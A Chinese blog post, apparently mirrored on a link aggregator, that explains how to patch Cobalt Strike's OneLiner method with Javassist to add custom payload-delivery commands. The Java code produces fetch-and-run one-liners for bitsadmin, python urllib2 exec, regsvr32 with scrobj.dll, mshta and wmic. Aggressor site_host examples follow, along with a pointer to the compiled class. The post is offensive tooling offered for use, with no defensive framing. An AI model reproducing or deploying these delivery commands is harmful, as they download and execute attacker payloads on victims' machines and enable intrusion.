24

Cobal Strike 自定义OneLiner

 5 years ago
source link: https://evi1cg.me/archives/Custom_Oneliner.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00 起因

在使用Cobal Strike的过程中,我们可以看到里面已经集成了几种 Script Web Delivery,如下图:

zY7fIrF.png!web

而且在生成以后打开site,只需要点击 Copy URL 就可以把命令复制出来,再写aggressor脚本时也想要实现这个功能,发现copy以后只有url,并没有命令,所以为了一探究竟,还是把CS解压,grep了一把,定位到common.CommonUtils,发现了OneLiner方法:

aANRrae.png!web

所以要实现这个功能我们就需要对这个class进行修改,增加我们想要的命令。

0x01 使用javassist修改class

Javassist是一个能够操作字节码框架,通过它我们能很轻易的修改class代码。首先下载 javassist ,新建一个java工程,右键工程导入javassist包。

M7n2uyZ.png!web

我们可能常用 mshta http://host/test.png 的方式来请求payload,可以使用一下代码进行添加:

package changeclass;

import java.io.IOException;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;

public class change {
        public static void main(String[] args) {
            updateMethod();
        }
        
        public static void updateMethod(){
            try {
                ClassPool cPool = new ClassPool(true);
                    //如果该文件引入了其它类,需要利用类似如下方式声明
                //cPool.importPackage("java.util.List");
                
                //设置cobaltstrike.jar文件的位置
                cPool.insertClassPath("/tmp/cobaltstrike.jar");
                
                //获取该要修改的class对象
                CtClass cClass = cPool.get("common.CommonUtils");
                
                //获取到对应的方法
                CtMethod cMethod = cClass.getDeclaredMethod("OneLiner");
                
                //更改该方法的内部实现
                //需要注意的是对于参数的引用要以$开始,不能直接输入参数名称
                cMethod.setBody("{ if (\"bitsadmin\".equals($2)) {"
                        + "String f = garbage(\"temp\");"
                        + "return \"cmd.exe /c bitsadmin /transfer \" + f + \" \" + $1 + \" %APPDATA%\\\\\" + f + \".exe&%APPDATA%\\\\\" + f + \".exe&del %APPDATA%\\\\\" + f + \".exe\";}"
                        + "if (\"powershell\".equals($2)) {"
                        + "return PowerShellOneLiner($1);}"
                        + "if (\"python\".equals($2)) {"
                        + "return \"python -c \\\"import urllib2; exec urllib2.urlopen('\" + $1 + \"').read();\\\"\";}"
                        + "if (\"regsvr32\".equals($2)) {"
                        + "return \"regsvr32 /s /n /u /i:\" + $1 + \" scrobj.dll\";}"
                        + "if (\"mshta\".equals($2)) {"
                        + "return \"mshta \" + $1;}"
                        + "if (\"wmic\".equals($2)) {"
                        + "  return \"wmic os get /format:\\\"\" + $1 + \"\\\"\";}"
                        + "print_error(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");"
                        + "throw new RuntimeException(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");}");
                
                //修改以后输出目录
                cClass.writeFile("/tmp/");
                
                System.out.println("=======修改方法完=========");
            } catch (NotFoundException e) {
                e.printStackTrace();
            } catch (CannotCompileException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

}

在这里要注意的是,方法 OneLiner(String url, String type)有两个参数,方法中的参数从 $1 开始,若该方法为非 static 方法,可以用 $0 来表示该方法实例自身,若该方法为 static 方法,则 $0 不可用。而且写的代码需要将 " , \ 进行转义。

运行此代码,可成功生成一个新的class:

aYJzUzI.png!web

yMfU3yJ.png!web

将此class替换CS中的class就好了。

使用的时候只需要在aggressor中site_host中指定即可,例如使用wmic

site_host(%options["host"], %options["port"], %options["uri"], $data, "text/plain", "Scripted Web Delivery (wmic)");

使用mshta

site_host(%options["host"], %options["port"], %options["htauri"], $htadata, "application/hta", "Scripted Web Delivery (mshta)");

效果如下:

Ynm2Afn.gif

已经编译好的class可以从这里下载:

GITHUB:

本文由Evi1cg 创作,采用 知识共享署名4.0 国际许可协议进行许可

本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名

最后编辑时间为: Jun 27, 2018 at 08:39 am


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK